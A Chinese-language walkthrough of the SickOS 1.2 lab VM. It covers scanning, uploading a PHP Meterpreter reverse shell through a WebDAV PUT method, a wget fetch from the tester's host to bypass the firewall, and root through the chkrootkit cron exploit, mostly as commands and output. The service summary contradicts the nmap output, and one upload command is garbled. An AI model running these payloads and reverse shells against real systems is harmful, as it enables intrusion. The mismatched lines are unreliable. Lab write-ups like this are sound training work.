如何获取SickOS 1.2 Flag

实验环境如下： 

基本思路：

• Network Scanning (网络扫描 Netdiscover, Nmap)

• Directory brute-force (网站目录扫描  dirb)

• Find HTTP Options: PUT (查找HTTP选项  curl)

• Generate PHP Backdoor (生成php后门 Msfvenom)

• Upload and execute a backdoor（上传php后门）

• Reverse connection (Metasploit)

• Privilege Escalation (cron job)

• Import python one-liner for proper TTY shell

• Get Root access and capture the flag.

1）Network Scanning (网络扫描 Netdiscover, Nmap)

root@host06:~# nmap -sV -T4 -A 192.168.32.169
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-21 19:19 CST
Nmap scan report for 192.168.32.169
Host is up (0.00085s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
|_/ange1 /angel1 /nothing /tmp /uploads
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Dina
MAC Address: 00:0C:29:29:82:CE (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.85 ms 192.168.32.169

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds

从上面扫描可以看出，主机只开放了如下服务与端口：

• SSH (22/tcp) - OpenSSH 5.9p1 Debian

• HTTP (80/tcp) - Lighttpd 1.4.28

2) 使用dirb 扫描网站目录

root@host06:~# dirb http://192.168.32.169
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Fri Jun 21 19:25:51 2019
URL_BASE: http://192.168.32.169/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.32.169/ ----
+ http://192.168.32.169/index.php (CODE:200|SIZE:163)                                               
==> DIRECTORY: http://192.168.32.169/test/                                                          
                                                                                                    
---- Entering directory: http://192.168.32.169/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Fri Jun 21 19:26:01 2019
DOWNLOADED: 4612 - FOUND: 1

使用niko 扫描时发现"The X-Content-Type-Options header is not set"，

root@host06:~# nikto  -h http://192.168.32.169
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.32.169
+ Target Hostname:    192.168.32.169
+ Target Port:        80
+ Start Time:         2019-06-21 19:34:28 (GMT8)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26545 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2019-06-21 19:37:21 (GMT8) (173 seconds)

再次使用curl -v -X OPTIONS  http://192.168.32.169/test测试，确认可以"put"等方法来进行注入

root@host06:~# curl -v -X OPTIONS http://192.168.32.169/test
* Expire in 0 ms for 6 (transfer 0x5588c3fe4d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x5588c3fe4d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> OPTIONS /test HTTP/1.1
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Location: http://192.168.32.169/test/
< Content-Length: 0
< Date: Fri, 21 Jun 2019 15:16:48 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.32.169 left intact

使用curl的put方法上传一个文件　curl -v -X PUT -d 'I am a boy'  http://192.168.32.169/test/test.txt

root@host06:~#  curl -v -X PUT -d 'I am a boy'  http://192.168.32.169/test/test.txt
* Expire in 0 ms for 6 (transfer 0x560c4ca07d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x560c4ca07d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> PUT /test/test.txt HTTP/1.1
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 10
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 10 out of 10 bytes
< HTTP/1.1 201 Created
< Content-Length: 0
< Date: Fri, 21 Jun 2019 15:22:00 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.32.169 left intact

使用相同的方法可以上传一个php调用shell命令的函数 curl -X PUT -d '2667c63b1f1e137f7d484ff4a432c470 put01.php  (备注：这里端口使用443目的是绕过防火墙)

root@host06:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1113 bytes

上传文件方法１：利用原来上传的调用系统cmd命令方法

启动一个Python临时Web服务器，以提供客户端下载内容。python -m SimpleHTTPServer  443 (备注：此使用443端口绕过防火墙)

并且执行: curl "http://192.168.32.169/test/cmd.php?cmd=wget%20http://192.168.32.10:443/put01.php" 以下载put01.php文件

root@host06:~# python -m SimpleHTTPServer  443
Serving HTTP on 0.0.0.0 port 443 ...
192.168.32.169 - - [21/Jun/2019 20:09:25] "GET /put01.php HTTP/1.1" 200 -

上传文件方法2: 使用curl　--upload-file

root@host06:~# curl --upload-file put02.php -v --url http://192.168.32.169/test/put02.php  -0 --http1.0
* Expire in 0 ms for 6 (transfer 0x55e395728d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x55e395728d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> PUT /test/put02.php HTTP/1.0
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 111
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 201 Created
< Content-Length: 0
< Connection: close
< Date: Sat, 22 Jun 2019 00:12:16 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0

启动msfconsole 并设定如下相关参数，然后执行curl "http://192.168.32.169/test/put01.php"(即查执行刚上传的shell)

root@host06:~# msfconsole
                                                  


                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/




       =[ metasploit v5.0.28-dev                          ]
+ -- --=[ 1897 exploits - 1068 auxiliary - 329 post       ]
+ -- --=[ 547 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]


msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.32.10
lhost => 192.168.32.10
msf5 exploit(multi/handler) > set lport 443
lport => 443
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.32.10:443
[*] Sending stage (38247 bytes) to 192.168.32.169
[*] Meterpreter session 1 opened (192.168.32.10:443 -> 192.168.32.169:49617) at 2019-06-21 20:16:00 +0800

meterpreter > shell
Process 28313 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin


# m h dom mon dow user    command
17 *    * * *    root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
chkrootkit -V
chkrootkit version 0.49
^Z
Background channel 0? [y/N]  y
meterpreter >
Background session 1? [y/N]  y
[-] Unknown command: y.

返回msfconsole控制台，检查chkroot的漏洞，并利用此漏洞进行***测试

msf5 exploit(multi/handler) > search  chkroot
Matching Modules
================
   #  Name                           Disclosure Date  Rank    Check  Description
   -  ----                           ---------------  ----    -----  -----------
   0  exploit/unix/local/chkrootkit  2014-06-04       manual  Yes    Chkrootkit Local Privilege Escalation


msf5 exploit(multi/handler) > use exploit/unix/local/chkrootkit
msf5 exploit(unix/local/chkrootkit) > show options

Module options (exploit/unix/local/chkrootkit):

   Name        Current Setting       Required  Description
   ----        ---------------       --------  -----------
   CHKROOTKIT  /usr/sbin/chkrootkit  yes       Path to chkrootkit
   SESSION                           yes       The session to run this module on.

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf5 exploit(unix/local/chkrootkit) > set session 1
session => 1
msf5 exploit(unix/local/chkrootkit) > set lport 8080
lport => 8080

重新进行***测试　

msf5 exploit(unix/local/chkrootkit) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.


[*] Started reverse TCP double handler on 192.168.32.10:8080
msf5 exploit(unix/local/chkrootkit) > [!] Rooting depends on the crontab (this could take a while)
[*] Payload written to /tmp/update
[*] Waiting for chkrootkit to run via cron...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo tnDOwZeHQZJPT8fE;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "tnDOwZeHQZJPT8fE\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (192.168.32.10:8080 -> 192.168.32.169:33664) at 2019-06-21 19:01:31 +0800
[+] Deleted /tmp/update

msf5 exploit(unix/local/chkrootkit) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information             Connection
  --  ----  ----                   -----------             ----------
  1         meterpreter php/linux  www-data (33) @ ubuntu  192.168.32.10:443 -> 192.168.32.169:49613 (192.168.32.169)
  2         shell cmd/unix                                 192.168.32.10:8080 -> 192.168.32.169:33664 (192.168.32.169)


msf5 exploit(unix/local/chkrootkit) > sessions -i 2
[*] Starting interaction with 2...


whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

python -c 'import pty;pty.spawn("/bin/bash")'
root@ubuntu:~# cd /root
cd /root
root@ubuntu:~# ls
ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz  chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt                     newRule
root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.

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